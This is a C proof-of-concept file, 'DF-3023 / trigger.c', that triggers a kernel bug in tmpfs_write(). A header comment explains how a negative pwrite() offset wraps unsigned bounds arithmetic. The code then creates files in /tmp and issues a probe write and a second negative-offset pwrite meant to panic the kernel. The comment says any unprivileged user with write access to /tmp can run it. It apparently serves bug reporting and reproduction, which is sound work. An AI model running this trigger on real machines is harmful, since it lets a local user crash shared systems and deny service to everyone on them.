DF-3023 / trigger.c
/* * DF-3023 — tmpfs_write() has no uio_offset < 0 rejection (its read * sibling tmpfs_read:559 has one). sys_extpwrite() passes a negative * pwrite() offset through unvalidated, and because uio_resid is an * UNSIGNED size_t, the bounds arithmetic wraps mod 2^64: * * entry check : uio_offset(-32752) + uio_resid(32752) == 0 * -> passes tm_maxfilesize / RLIMIT_FSIZE checks * iteration 1 : len = 16368, uio_offset + len = -16384 * -> as unsigned: huge > tn_size -> resize requested * tmpfs_reg_resize(vp, (off_t)-16384, ...) * -> KKASSERT(newsize >= 0) * -> panic: tmpfs_subr.c:990 * * On non-INVARIANTS kernels the KKASSERTs compile out and * round_page64(-16384)/PAGE_SIZE becomes a huge page count which trips * the tm_pages_max ENOSPC check -> clean error, no corruption. * * Also demonstrates (no panic): aligned negative single-block writes * pass all checks and reach bread() at loffset -16384, which the buffer * cache rejects with EFAULT ("tmpfs_write uiomove error 14" on console). * * unprivileged (any user with write access to /tmp), default tmpfs /tmp. */ #include <sys/types.h> #include <sys/stat.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> static char b[65536]; int main(void) { int fd; ssize_t r; struct stat st; memset(b, 'A', sizeof b); /* (1) probe: entry-sum wraps to 0; buffer layer answers EFAULT */ fd = open("/tmp/df3023_probe", O_CREAT | O_RDWR | O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } r = pwrite(fd, b, 16384, -16384); fstat(fd, &st); printf("[probe ] pwrite(16384 @ -16384) = %zd errno=%d size=%lld\n", r, r < 0 ? errno : 0, (long long)st.st_size); close(fd); unlink("/tmp/df3023_probe"); /* (2) panic: iteration-1 sum wraps to -16384 -> reg_resize(-16384) */ fd = open("/tmp/df3023_panic", O_CREAT | O_RDWR | O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } printf("[panic ] pwrite(32752 @ -32752) launching...\n"); fflush(stdout); r = pwrite(fd, b, 32752, -32752); printf("[panic ] returned %zd errno=%d (kernel did NOT panic?)\n", r, r < 0 ? errno : 0); return 0; } |